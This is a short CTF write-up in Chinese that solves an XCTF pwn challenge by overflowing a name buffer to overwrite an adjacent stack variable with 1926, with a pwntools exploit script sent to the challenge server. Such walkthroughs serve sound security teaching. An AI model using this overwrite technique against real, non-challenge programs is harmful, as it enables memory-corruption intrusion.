zoukankan      html  css  js  c++  java
  • XCTF

    1.先拉进虚拟机运行一下

    2.检查一下文件格式,发现是64位文件,然后这个文件开了 canary 和 Nx 保护,但是影响不大。

    3.用 ida64 反编译查看一下,进入main函数。不难发现,当进入 else 分支后使得 v6 得 1926 即可得到 flag。

    4.现在的问题是将第一次 v6 不得 1926 而第二次检查 v6 时却是 1926 。我们注意上面定义变量时,v5  的地址为 20h,v6 为 18h。因此我们可以构造 exp 来使用第二次输入来将 v6 覆盖为 1926。而其中两个变量的差值为 8.因此 payload 就能构造了。

    5.

    #!/usr/bin/env python
    from pwn import *
    
    # v5 - 20h    
    # v6 - 18h
    #result = 1926
    
    payload = 'aaaaaaaa' + str(p64(1926))
    
    
    r = remote("111.198.29.45", 57262)
    r.recvuntil("Birth?")
    r.sendline("2000")
    r.recvuntil("Name?")
    r.sendline(payload)
    
    r.interactive()

    6.运行脚本后得到 flag

  • 相关阅读:
    hibernate二级缓存
    hibernateHQL语句
    hibernate之多对多关系
    SPA项目开发之登录注册
    使用vue-cli搭建SPA项目
    elementUI+nodeJS环境搭建
    Vue路由
    Vue模板语法下集
    网页源码爬取
    Vue模板语法上集
  • 原文地址:https://www.cnblogs.com/Tsuiyields/p/11515377.html
Copyright © 2011-2022 走看看